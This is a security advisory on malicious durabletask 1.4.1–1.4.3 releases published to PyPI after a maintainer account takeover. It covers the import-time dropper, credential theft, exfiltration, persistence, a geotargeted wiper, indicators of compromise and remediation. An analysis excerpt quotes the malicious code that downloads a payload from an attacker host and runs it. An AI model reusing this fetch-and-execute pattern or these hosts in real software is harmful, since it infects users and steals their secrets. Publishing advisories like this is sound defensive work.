durabletask

GHSA-3qf7-886j-9wrc

Malicious code in durabletask (PyPI)

Details

**Severity:** Critical

**Affected versions:** `= 1.4.1`

**1.4.1**, **1.4.2**, and **1.4.3** of `durabletask` were compromised via a **PyPI maintainer account takeover**. All three malicious versions were published on 2026-05-19 within a 35-minute window (16:19–16:54 UTC). Pin to `<=1.4.0`.

**Attack chain**

- *Stage 1 — Import-time dropper:* on import, the package fetches a second-stage payload `rope.pyz` from `check.git-service.com` (`160.119.64.3`). The TLS certificate for this C2 was issued on 2026-05-16, indicating ~3 days of pre-attack staging.
- *Stage 2 — Credential-theft framework:*
  - AWS / Azure / GCP IMDS interrogation and Secrets Manager dumps
  - Kubernetes lateral movement via in-cluster service-account tokens
  - HashiCorp Vault token extraction
  - Harvesting from 85 known filesystem credential paths
  - Brute-forcing of local password manager vaults
- *Exfiltration:* stolen data is encrypted and shipped to the primary C2, with a **dead-drop fallback** that pushes encrypted blobs as GitHub commits (FIRESCALE-style egress).
- *Persistence:* systemd unit `pgsql-monitor.service`.
- *Destructive payload:* a **geotargeted wiper** activates on hosts identified as being located in **Israel** or **Iran**.

**Indicators of compromise**

- C2 (primary): `check.git-service.com` — `160.119.64.3`
- C2 (secondary): `t.m-kosche.com` — `185.95.159.32`
- Dropped payload: `rope.pyz`
- Persistence unit: `pgsql-monitor.service`

**Recommended actions**

- Pin `durabletask` to `<=1.4.0`.
- Block both C2 domains at network egress.
- Treat any Linux system that imported 1.4.1 / 1.4.2 / 1.4.3 as **fully compromised** — rotate all reachable secrets and rebuild affected hosts.## Source: amazon-inspector (daa176998359c04f9e002ff27fa947f12f08ddf49648ac7444ca894602317662)
On every `import durabletask`, the package's top-level `__init__.py` (lines 8-11) calls `urllib.request.urlretrieve('https://check.git-service.com/rope.pyz', '/tmp/managed.pyz')` and then `subprocess.Popen(['python3', '/tmp/managed.pyz'], start_new_session=True)` on Linux. The fetched zipapp is exec […]

**References:**
- https://bad-packages.kam193.eu/pypi/campaign/2026-05-compr-durabletask
- https://github.com/ossf/malicious-packages/blob/49d0cfba3689ed9b195d101d3a2a964c6a77f767/osv/malicious/pypi/durabletask/MAL-2026-4174.json
- https://pypi.org/project/durabletask/1.4.1
- https://safedep.io/malicious-durabletask-pypi-supply-chain-attack
- https://www.aikido.dev/blog/durabletask-package-compromised-mini-shai-hulud
- https://www.upwind.io/feed/newly-discovered-durabletask-malware-targeted-kubernetes-cloud-secrets-and-ci-cd-infrastructure
- https://github.com/advisories/GHSA-3qf7-886j-9wrc

Compromised versions (1)

= 1.4.1

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.